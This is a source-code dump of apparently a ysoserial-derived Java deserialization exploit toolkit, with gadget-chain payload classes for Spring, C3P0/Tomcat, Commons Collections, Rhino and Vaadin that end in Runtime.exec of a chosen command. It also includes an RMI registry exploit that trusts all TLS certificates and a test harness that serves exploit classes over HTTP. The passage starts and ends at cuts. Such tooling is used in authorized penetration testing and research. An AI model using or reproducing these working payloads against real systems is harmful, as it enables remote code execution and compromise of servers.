25 | SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() 26 | SerializableTypeWrapper.TypeProvider(Proxy).getType() 27 | AnnotationInvocationHandler.invoke() 28 | HashMap.get() 29 | ReflectionUtils.findMethod() 30 | SerializableTypeWrapper.TypeProvider(Proxy).getType() 31 | AnnotationInvocationHandler.invoke() 32 | HashMap.get() 33 | ReflectionUtils.invokeMethod() 34 | Method.invoke() 35 | Templates(Proxy).newTransformer() 36 | AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke() 37 | ObjectFactory(Proxy).getObject() 38 | AnnotationInvocationHandler.invoke() 39 | HashMap.get() 40 | Method.invoke() 41 | TemplatesImpl.newTransformer() 42 | TemplatesImpl.getTransletInstance() 43 | TemplatesImpl.defineTransletClasses() 44 | TemplatesImpl.TransletClassLoader.defineClass() 45 | Pwner*(Javassist-generated). 46 | Runtime.exec() 47 | 48 | */ 49 | 50 | @SuppressWarnings({"rawtypes"}) 51 | @PayloadTest ( precondition = "isApplicableJavaVersion") 52 | @Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"}) 53 | @Authors({ Authors.FROHOFF }) 54 | public class Spring1 extends PayloadRunner implements ObjectPayload { 55 | 56 | public Object getObject(final String command) throws Exception { 57 | final Object templates = Gadgets.createTemplatesImpl(command); 58 | 59 | final ObjectFactory objectFactoryProxy = 60 | Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); 61 | 62 | final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) 63 | Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler") 64 | .newInstance(objectFactoryProxy), Type.class, Templates.class); 65 | 66 | final Object typeProviderProxy = Gadgets.createMemoitizedProxy( 67 | Gadgets.createMap("getType", typeTemplatesProxy), 68 | forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); 69 | 70 | final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); 71 | final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0); 72 | Reflections.setFieldValue(mitp, "methodName", "newTransformer"); 73 | 74 | return mitp; 75 | } 76 | 77 | public static void main(final String[] args) throws Exception { 78 | PayloadRunner.run(Spring1.class, args); 79 | } 80 | 81 | public static boolean isApplicableJavaVersion() { 82 | return JavaVersion.isAnnInvHUniversalMethodImpl(); 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/C3P0Tomcat.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import com.mchange.v2.c3p0.PoolBackedDataSource; 4 | import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; 5 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 6 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 7 | import me.gv7.woodpecker.yso.payloads.annotation.PayloadTest; 8 | import me.gv7.woodpecker.yso.payloads.custom.CustomCommand; 9 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 10 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 11 | import org.apache.naming.ResourceRef; 12 | 13 | import javax.naming.NamingException; 14 | import javax.naming.Reference; 15 | import javax.naming.Referenceable; 16 | import javax.naming.StringRefAddr; 17 | import javax.sql.ConnectionPoolDataSource; 18 | import javax.sql.PooledConnection; 19 | import java.io.FileOutputStream; 20 | import java.io.PrintWriter; 21 | import java.sql.SQLException; 22 | import java.sql.SQLFeatureNotSupportedException; 23 | import java.util.logging.Logger; 24 | 25 | /** 26 | * 无需出网即可利用 27 | * 目前只完成了*nix 环境下的命令执行,暂未解决执行任意js/任意Java代码 28 | */ 29 | @PayloadTest( harness="ysoserial.test.payloads.RemoteClassLoadingTest" ) 30 | @Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} ) 31 | @Authors({ Authors.yulegeyu }) 32 | public class C3P0Tomcat implements ObjectPayload { 33 | 34 | @Override 35 | public Object getObject (String command) throws Exception { 36 | if (command.startsWith(CustomCommand.COMMAND_RAW_CMD)) { 37 | command = command.substring(CustomCommand.COMMAND_RAW_CMD.length()); 38 | } 39 | PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); 40 | Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource("org.apache.naming.factory.BeanFactory", command)); 41 | return b; 42 | } 43 | 44 | private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { 45 | private String className; 46 | private String command; 47 | 48 | public PoolSource (String className, String command) { 49 | this.className = className; 50 | this.command = command; 51 | } 52 | 53 | public Reference getReference() throws NamingException { 54 | ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); 55 | ref.add(new StringRefAddr("forceString", "x=eval")); 56 | ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','"+ command +"']).start()\")")); 57 | return ref; 58 | } 59 | 60 | public PrintWriter getLogWriter () throws SQLException {return null;} 61 | public void setLogWriter ( PrintWriter out ) throws SQLException {} 62 | public void setLoginTimeout ( int seconds ) throws SQLException {} 63 | public int getLoginTimeout () throws SQLException {return 0;} 64 | public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} 65 | public PooledConnection getPooledConnection () throws SQLException {return null;} 66 | public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} 67 | } 68 | 69 | public static void main ( String[] args ) throws Exception { 70 | PayloadRunner.run(C3P0Tomcat.class, args); 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/CommonsCollections5.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import java.lang.reflect.Field; 4 | import java.util.HashMap; 5 | import java.util.Map; 6 | 7 | import javax.management.BadAttributeValueExpException; 8 | 9 | import me.gv7.woodpecker.yso.payloads.custom.CommonsCollectionsUtil; 10 | import me.gv7.woodpecker.yso.payloads.util.JavaVersion; 11 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 12 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 13 | import org.apache.commons.collections.Transformer; 14 | import org.apache.commons.collections.functors.ChainedTransformer; 15 | import org.apache.commons.collections.functors.ConstantTransformer; 16 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 17 | import org.apache.commons.collections.map.LazyMap; 18 | 19 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 20 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 21 | import me.gv7.woodpecker.yso.payloads.annotation.PayloadTest; 22 | 23 | /* 24 | Gadget chain: 25 | ObjectInputStream.readObject() 26 | BadAttributeValueExpException.readObject() 27 | TiedMapEntry.toString() 28 | LazyMap.get() 29 | ChainedTransformer.transform() 30 | ConstantTransformer.transform() 31 | InvokerTransformer.transform() 32 | Method.invoke() 33 | Class.getMethod() 34 | InvokerTransformer.transform() 35 | Method.invoke() 36 | Runtime.getRuntime() 37 | InvokerTransformer.transform() 38 | Method.invoke() 39 | Runtime.exec() 40 | 41 | Requires: 42 | commons-collections 43 | */ 44 | /* 45 | This only works in JDK 8u76 and WITHOUT a security manager 46 | 47 | https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70 48 | */ 49 | @SuppressWarnings({"rawtypes", "unchecked"}) 50 | @PayloadTest ( precondition = "isApplicableJavaVersion") 51 | @Dependencies({"commons-collections:commons-collections:3.1"}) 52 | @Authors({ Authors.MATTHIASKAISER, Authors.JASINNER }) 53 | public class CommonsCollections5 extends PayloadRunner implements ObjectPayload { 54 | 55 | public BadAttributeValueExpException getObject(final String command) throws Exception { 56 | final String[] execArgs = new String[] { command }; 57 | // inert chain for setup 58 | final Transformer transformerChain = new ChainedTransformer( 59 | new Transformer[]{ new ConstantTransformer(1) }); 60 | // real chain for after setup 61 | final Transformer[] transformers = CommonsCollectionsUtil.getTransformerList(command); 62 | 63 | final Map innerMap = new HashMap(); 64 | 65 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 66 | 67 | TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); 68 | 69 | BadAttributeValueExpException val = new BadAttributeValueExpException(null); 70 | Field valfield = val.getClass().getDeclaredField("val"); 71 | Reflections.setAccessible(valfield); 72 | valfield.set(val, entry); 73 | 74 | Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain 75 | 76 | return val; 77 | } 78 | 79 | public static void main(final String[] args) throws Exception { 80 | PayloadRunner.run(CommonsCollections5.class, args); 81 | } 82 | 83 | public static boolean isApplicableJavaVersion() { 84 | return JavaVersion.isBadAttrValExcReadObj(); 85 | } 86 | 87 | } 88 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/util/CommonUtil.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads.util; 2 | 3 | 4 | import javassist.CannotCompileException; 5 | import javassist.ClassPool; 6 | import javassist.CtClass; 7 | 8 | import java.io.*; 9 | 10 | public class CommonUtil { 11 | public static byte[] getFileBytes(String file) { 12 | try { 13 | File f = new File(file); 14 | int length = (int) f.length(); 15 | byte[] data = new byte[length]; 16 | new FileInputStream(f).read(data); 17 | return data; 18 | } catch (Exception e) { 19 | e.printStackTrace(); 20 | return null; 21 | } 22 | } 23 | 24 | public static Class getClass(String className){ 25 | Class clazz = null; 26 | try{ 27 | clazz = Thread.currentThread().getContextClassLoader().loadClass(className); 28 | }catch (Exception e){ 29 | ClassPool pool = new ClassPool(true); 30 | CtClass targetClass = pool.makeClass(className); 31 | try { 32 | targetClass.getClassFile().setVersionToJava5(); 33 | clazz = targetClass.toClass(); 34 | } catch (CannotCompileException cannotCompileException) { 35 | cannotCompileException.printStackTrace(); 36 | } 37 | } 38 | return clazz; 39 | } 40 | 41 | // public static String classToBCEL(byte[] clazzBytes) throws IOException { 42 | // String strBCEL = "$$BCEL$$" + Utility.encode(clazzBytes, true); 43 | // return strBCEL; 44 | // } 45 | // 46 | // public static String classToBCEL(String classPath) throws IOException { 47 | // byte[] clazzBytes = CommonUtil.getFileBytes(classPath); 48 | // return classToBCEL(clazzBytes); 49 | // } 50 | 51 | public static byte[] readFileByte(String filename) throws IOException { 52 | 53 | File f = new File(filename); 54 | if (!f.exists()) { 55 | throw new FileNotFoundException(filename); 56 | } 57 | 58 | ByteArrayOutputStream bos = new ByteArrayOutputStream((int) f.length()); 59 | BufferedInputStream in = null; 60 | try { 61 | in = new BufferedInputStream(new FileInputStream(f)); 62 | int buf_size = 1024; 63 | byte[] buffer = new byte[buf_size]; 64 | int len = 0; 65 | while (-1 != (len = in.read(buffer, 0, buf_size))) { 66 | bos.write(buffer, 0, len); 67 | } 68 | return bos.toByteArray(); 69 | } catch (IOException e) { 70 | e.printStackTrace(); 71 | throw e; 72 | } finally { 73 | try { 74 | in.close(); 75 | } catch (IOException e) { 76 | e.printStackTrace(); 77 | } 78 | bos.close(); 79 | } 80 | } 81 | 82 | public static String fileContextToByteArrayString(String filePath) throws IOException { 83 | byte[] fileContent = CommonUtil.readFileByte(filePath); 84 | return byteToByteArrayString(fileContent); 85 | } 86 | 87 | public static String stringToByteArrayString(String str){ 88 | byte[] byteString = str.getBytes(); 89 | return byteToByteArrayString(byteString); 90 | } 91 | 92 | public static String byteToByteArrayString(byte[] strByte){ 93 | StringBuffer sb = new StringBuffer(); 94 | if(strByte.length > 0) { 95 | for (byte bStr : strByte) { 96 | sb.append(bStr); 97 | sb.append(","); 98 | } 99 | sb.deleteCharAt(sb.length() - 1); 100 | } 101 | return sb.toString(); 102 | } 103 | } 104 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/MozillaRhino1.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 4 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 5 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 6 | import me.gv7.woodpecker.yso.payloads.annotation.PayloadTest; 7 | import me.gv7.woodpecker.yso.payloads.util.Gadgets; 8 | import me.gv7.woodpecker.yso.payloads.util.JavaVersion; 9 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 10 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 11 | import org.mozilla.javascript.*; 12 | 13 | import javax.management.BadAttributeValueExpException; 14 | import java.lang.reflect.Constructor; 15 | import java.lang.reflect.Field; 16 | import java.lang.reflect.Method; 17 | 18 | /* 19 | by @matthias_kaiser 20 | */ 21 | @SuppressWarnings({"rawtypes", "unchecked"}) 22 | @PayloadTest( precondition = "isApplicableJavaVersion") 23 | @Dependencies({"rhino:js:1.7R2"}) 24 | @Authors({ Authors.MATTHIASKAISER }) 25 | public class MozillaRhino1 implements ObjectPayload { 26 | 27 | public Object getObject(final String command) throws Exception { 28 | 29 | Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); 30 | Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor(); 31 | Reflections.setAccessible(nativeErrorConstructor); 32 | IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance(); 33 | 34 | Context context = Context.enter(); 35 | 36 | NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); 37 | 38 | Method enterMethod = Context.class.getDeclaredMethod("enter"); 39 | NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name"); 40 | idScriptableObject.setGetterOrSetter("name", 0, method, false); 41 | 42 | Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer"); 43 | NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message"); 44 | idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false); 45 | 46 | Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class); 47 | Reflections.setAccessible(getSlot); 48 | Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1); 49 | Field getter = slot.getClass().getDeclaredField("getter"); 50 | Reflections.setAccessible(getter); 51 | 52 | Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox"); 53 | Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class); 54 | Reflections.setAccessible(memberboxClassConstructor); 55 | Object memberboxes = memberboxClassConstructor.newInstance(enterMethod); 56 | getter.set(slot, memberboxes); 57 | 58 | NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(command), TemplatesImpl.class); 59 | idScriptableObject.setPrototype(nativeObject); 60 | 61 | BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); 62 | Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); 63 | Reflections.setAccessible(valField); 64 | valField.set(badAttributeValueExpException, idScriptableObject); 65 | 66 | return badAttributeValueExpException; 67 | } 68 | 69 | public static void main(final String[] args) throws Exception { 70 | PayloadRunner.run(MozillaRhino1.class, args); 71 | } 72 | 73 | public static boolean isApplicableJavaVersion() { 74 | return JavaVersion.isBadAttrValExcReadObj(); 75 | } 76 | 77 | } 78 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/exploit/RMIRegistryExploit.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.exploit; 2 | 3 | import java.io.IOException; 4 | import java.net.Socket; 5 | import java.rmi.ConnectIOException; 6 | import java.rmi.Remote; 7 | import java.rmi.registry.LocateRegistry; 8 | import java.rmi.registry.Registry; 9 | import java.rmi.server.RMIClientSocketFactory; 10 | import java.security.cert.X509Certificate; 11 | import java.util.concurrent.Callable; 12 | import javax.net.ssl.*; 13 | 14 | import me.gv7.woodpecker.yso.payloads.CommonsCollections1; 15 | import me.gv7.woodpecker.yso.payloads.ObjectPayload; 16 | import me.gv7.woodpecker.yso.payloads.util.Gadgets; 17 | import me.gv7.woodpecker.yso.secmgr.ExecCheckingSecurityManager; 18 | 19 | /* 20 | * Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader. 21 | * Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces. 22 | * 23 | * TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote 24 | * interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler . 25 | */ 26 | @SuppressWarnings({"rawtypes", "unchecked"}) 27 | public class RMIRegistryExploit { 28 | private static class TrustAllSSL implements X509TrustManager { 29 | private static final X509Certificate[] ANY_CA = {}; 30 | public X509Certificate[] getAcceptedIssuers() { return ANY_CA; } 31 | public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ } 32 | public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ } 33 | } 34 | 35 | private static class RMISSLClientSocketFactory implements RMIClientSocketFactory { 36 | public Socket createSocket(String host, int port) throws IOException { 37 | try { 38 | SSLContext ctx = SSLContext.getInstance("TLS"); 39 | ctx.init(null, new TrustManager[] {new TrustAllSSL()}, null); 40 | SSLSocketFactory factory = ctx.getSocketFactory(); 41 | return factory.createSocket(host, port); 42 | } catch(Exception e) { 43 | throw new IOException(e); 44 | } 45 | } 46 | } 47 | 48 | public static void main(final String[] args) throws Exception { 49 | final String host = args[0]; 50 | final int port = Integer.parseInt(args[1]); 51 | final String command = args[3]; 52 | Registry registry = LocateRegistry.getRegistry(host, port); 53 | final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2]; 54 | final Class payloadClass = (Class) Class.forName(className); 55 | 56 | // test RMI registry connection and upgrade to SSL connection on fail 57 | try { 58 | registry.list(); 59 | } catch(ConnectIOException ex) { 60 | registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory()); 61 | } 62 | 63 | // ensure payload doesn't detonate during construction or deserialization 64 | exploit(registry, payloadClass, command); 65 | } 66 | 67 | public static void exploit(final Registry registry, 68 | final Class payloadClass, 69 | final String command) throws Exception { 70 | new ExecCheckingSecurityManager().callWrapped(new Callable(){public Void call() throws Exception { 71 | ObjectPayload payloadObj = payloadClass.newInstance(); 72 | Object payload = payloadObj.getObject(command); 73 | String name = "pwned" + System.nanoTime(); 74 | Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class); 75 | try { 76 | registry.bind(name, remote); 77 | } catch (Throwable e) { 78 | e.printStackTrace(); 79 | } 80 | ObjectPayload.Utils.releasePayload(payloadObj, payload); 81 | return null; 82 | }}); 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/URLDNS.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import java.io.IOException; 4 | import java.net.InetAddress; 5 | import java.net.URLConnection; 6 | import java.net.URLStreamHandler; 7 | import java.util.HashMap; 8 | import java.net.URL; 9 | 10 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 11 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 12 | import me.gv7.woodpecker.yso.payloads.annotation.PayloadTest; 13 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 14 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 15 | 16 | 17 | /** 18 | * A blog post with more details about this gadget chain is at the url below: 19 | * https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/ 20 | * 21 | * This was inspired by Philippe Arteau @h3xstream, who wrote a blog 22 | * posting describing how he modified the Java Commons Collections gadget 23 | * in ysoserial to open a URL. This takes the same idea, but eliminates 24 | * the dependency on Commons Collections and does a DNS lookup with just 25 | * standard JDK classes. 26 | * 27 | * The Java URL class has an interesting property on its equals and 28 | * hashCode methods. The URL class will, as a side effect, do a DNS lookup 29 | * during a comparison (either equals or hashCode). 30 | * 31 | * As part of deserialization, HashMap calls hashCode on each key that it 32 | * deserializes, so using a Java URL object as a serialized key allows 33 | * it to trigger a DNS lookup. 34 | * 35 | * Gadget Chain: 36 | * HashMap.readObject() 37 | * HashMap.putVal() 38 | * HashMap.hash() 39 | * URL.hashCode() 40 | * 41 | * 42 | */ 43 | @SuppressWarnings({ "rawtypes", "unchecked" }) 44 | @PayloadTest(skip = "true") 45 | @Dependencies() 46 | @Authors({ Authors.GEBL }) 47 | public class URLDNS implements ObjectPayload { 48 | 49 | public Object getObject(final String url) throws Exception { 50 | 51 | //Avoid DNS resolution during payload creation 52 | //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload. 53 | URLStreamHandler handler = new SilentURLStreamHandler(); 54 | 55 | HashMap ht = new HashMap(); // HashMap that will contain the URL 56 | URL u = new URL(null, url, handler); // URL to use as the Key 57 | ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. 58 | 59 | Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. 60 | 61 | return ht; 62 | } 63 | 64 | public static void main(final String[] args) throws Exception { 65 | PayloadRunner.run(URLDNS.class, args); 66 | 67 | } 68 | 69 | /** 70 | *

This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance. 71 | * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior 72 | * using the serialized object.

73 | * 74 | * Potential false negative: 75 | *

If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the 76 | * second resolution.

77 | */ 78 | static class SilentURLStreamHandler extends URLStreamHandler { 79 | 80 | protected URLConnection openConnection(URL u) throws IOException { 81 | return null; 82 | } 83 | 84 | protected synchronized InetAddress getHostAddress(URL u) { 85 | return null; 86 | } 87 | } 88 | } 89 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/Vaadin1.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import javax.management.BadAttributeValueExpException; 4 | 5 | import com.vaadin.data.util.NestedMethodProperty; 6 | import com.vaadin.data.util.PropertysetItem; 7 | 8 | import me.gv7.woodpecker.yso.payloads.util.Gadgets; 9 | import me.gv7.woodpecker.yso.payloads.util.JavaVersion; 10 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 11 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 12 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 13 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 14 | import me.gv7.woodpecker.yso.payloads.annotation.PayloadTest; 15 | 16 | @Dependencies ( { "com.vaadin:vaadin-server:7.7.14", "com.vaadin:vaadin-shared:7.7.14" }) 17 | @PayloadTest ( precondition = "isApplicableJavaVersion") 18 | @Authors({ Authors.KULLRICH }) 19 | public class Vaadin1 implements ObjectPayload 20 | { 21 | // +-------------------------------------------------+ 22 | // | | 23 | // | BadAttributeValueExpException | 24 | // | | 25 | // | val ==> PropertysetItem | 26 | // | | 27 | // | readObject() ==> val.toString() | 28 | // | + | 29 | // +----------|--------------------------------------+ 30 | // | 31 | // | 32 | // | 33 | // +----|-----------------------------------------+ 34 | // | v | 35 | // | PropertysetItem | 36 | // | | 37 | // | toString () => getPropertyId().getValue () | 38 | // | + | 39 | // +---------------------------------------|------+ 40 | // | 41 | // +-----------------------------+ 42 | // | 43 | // +-----|----------------------------------------------+ 44 | // | v | 45 | // | NestedMethodProperty | 46 | // | | 47 | // | getValue() => java.lang.reflect.Method.invoke () | 48 | // | | | 49 | // +-------------------------------------------|--------+ 50 | // | 51 | // +-----------------------------------+ 52 | // | 53 | // +---|--------------------------------------------+ 54 | // | v | 55 | // | TemplatesImpl.getOutputProperties() | 56 | // | | 57 | // +------------------------------------------------+ 58 | 59 | @Override 60 | public Object getObject (String command) throws Exception 61 | { 62 | Object templ = Gadgets.createTemplatesImpl (command); 63 | PropertysetItem pItem = new PropertysetItem (); 64 | 65 | NestedMethodProperty nmprop = new NestedMethodProperty (templ, "outputProperties"); 66 | pItem.addItemProperty ("outputProperties", nmprop); 67 | 68 | BadAttributeValueExpException b = new BadAttributeValueExpException (""); 69 | Reflections.setFieldValue (b, "val", pItem); 70 | 71 | return b; 72 | } 73 | 74 | public static boolean isApplicableJavaVersion() { 75 | return JavaVersion.isBadAttrValExcReadObj(); 76 | } 77 | 78 | public static void main(final String[] args) throws Exception { 79 | PayloadRunner.run(Vaadin1.class, args); 80 | } 81 | 82 | } 83 | -------------------------------------------------------------------------------- /src/main/java/me/gv7/woodpecker/yso/payloads/CommonsCollections10.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.payloads; 2 | 3 | import me.gv7.woodpecker.yso.GeneratePayload; 4 | import me.gv7.woodpecker.yso.YsoConfig; 5 | import org.apache.commons.collections.functors.InvokerTransformer; 6 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 7 | import org.apache.commons.collections.map.LazyMap; 8 | import me.gv7.woodpecker.yso.payloads.annotation.Authors; 9 | import me.gv7.woodpecker.yso.payloads.annotation.Dependencies; 10 | import me.gv7.woodpecker.yso.payloads.util.Gadgets; 11 | import me.gv7.woodpecker.yso.payloads.util.PayloadRunner; 12 | import me.gv7.woodpecker.yso.payloads.util.Reflections; 13 | 14 | 15 | import java.lang.reflect.Field; 16 | import java.util.HashMap; 17 | import java.util.HashSet; 18 | import java.util.Map; 19 | 20 | 21 | /* 22 | 23 | https://github.com/wh1t3p1g/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections10.java 24 | 25 | java.security.manager off OR set jdk.xml.enableTemplatesImplDeserialization=true 26 | Gadget chain: 27 | java.io.ObjectInputStream.readObject() 28 | java.util.HashSet.readObject() 29 | java.util.HashMap.put() 30 | java.util.HashMap.hash() 31 | org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() 32 | org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() 33 | org.apache.commons.collections.map.LazyMap.get() 34 | org.apache.commons.collections.functors.InvokerTransformer.transform() 35 | java.lang.reflect.Method.invoke() 36 | ... templates gadgets ... 37 | java.lang.Runtime.exec() 38 | */ 39 | 40 | @SuppressWarnings({ "rawtypes", "unchecked" }) 41 | @Dependencies({"commons-collections:commons-collections:3.2.1"}) 42 | @Authors({ Authors.WH1T3P1G}) 43 | public class CommonsCollections10 extends PayloadRunner implements ObjectPayload { 44 | 45 | public HashSet getObject(final String command) throws Exception { 46 | Object templates = Gadgets.createTemplatesImpl(command); 47 | // mock method name until armed 48 | final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 49 | 50 | final Map innerMap = new HashMap(); 51 | 52 | final Map lazyMap = LazyMap.decorate(innerMap, transformer); 53 | 54 | TiedMapEntry entry = new TiedMapEntry(lazyMap, templates); 55 | 56 | HashSet map = new HashSet(1); 57 | map.add("foo"); 58 | Field f = null; 59 | try { 60 | f = HashSet.class.getDeclaredField("map"); 61 | } catch (NoSuchFieldException e) { 62 | f = HashSet.class.getDeclaredField("backingMap"); 63 | } 64 | Reflections.setAccessible(f); 65 | HashMap innimpl = null; 66 | innimpl = (HashMap) f.get(map); 67 | 68 | Field f2 = null; 69 | try { 70 | f2 = HashMap.class.getDeclaredField("table"); 71 | } catch (NoSuchFieldException e) { 72 | f2 = HashMap.class.getDeclaredField("elementData"); 73 | } 74 | Reflections.setAccessible(f2); 75 | Object[] array = new Object[0]; 76 | array = (Object[]) f2.get(innimpl); 77 | Object node = array[0]; 78 | if(node == null){ 79 | node = array[1]; 80 | } 81 | 82 | Field keyField = null; 83 | try{ 84 | keyField = node.getClass().getDeclaredField("key"); 85 | }catch(Exception e){ 86 | keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); 87 | } 88 | Reflections.setAccessible(keyField); 89 | keyField.set(node, entry); 90 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 91 | 92 | return map; 93 | } 94 | 95 | public static void main(String[] args) throws Exception { 96 | PayloadRunner.run(CommonsCollections10.class, args); 97 | } 98 | 99 | } 100 | -------------------------------------------------------------------------------- /src/test/java/me/gv7/woodpecker/yso/test/payloads/RemoteClassLoadingTest.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.yso.test.payloads; 2 | 3 | 4 | import java.io.ByteArrayInputStream; 5 | import java.io.IOException; 6 | import java.io.Serializable; 7 | import java.util.Random; 8 | import java.util.concurrent.Callable; 9 | 10 | import fi.iki.elonen.NanoHTTPD; 11 | import fi.iki.elonen.NanoHTTPD.Response.Status; 12 | import javassist.ClassClassPath; 13 | import javassist.ClassPool; 14 | import javassist.CtClass; 15 | import me.gv7.woodpecker.yso.test.WrappedTest; 16 | 17 | 18 | /** 19 | * @author mbechler 20 | * 21 | */ 22 | public class RemoteClassLoadingTest implements WrappedTest { 23 | 24 | int port; 25 | private String command; 26 | private String className; 27 | 28 | public RemoteClassLoadingTest ( String command ) { 29 | this.command = command; 30 | this.port = new Random().nextInt(65535-1024)+1024; 31 | this.className = "Exploit-" + System.currentTimeMillis(); 32 | } 33 | 34 | 35 | public String getPayloadArgs () { 36 | return String.format("http://localhost:%d/", this.port) + ":" + this.className; 37 | } 38 | 39 | public int getHTTPPort () { 40 | return this.port; 41 | } 42 | 43 | public Callable createCallable ( Callable innerCallable ) { 44 | return new RemoteClassLoadingTestCallable(this.port, makePayloadClass(), innerCallable); 45 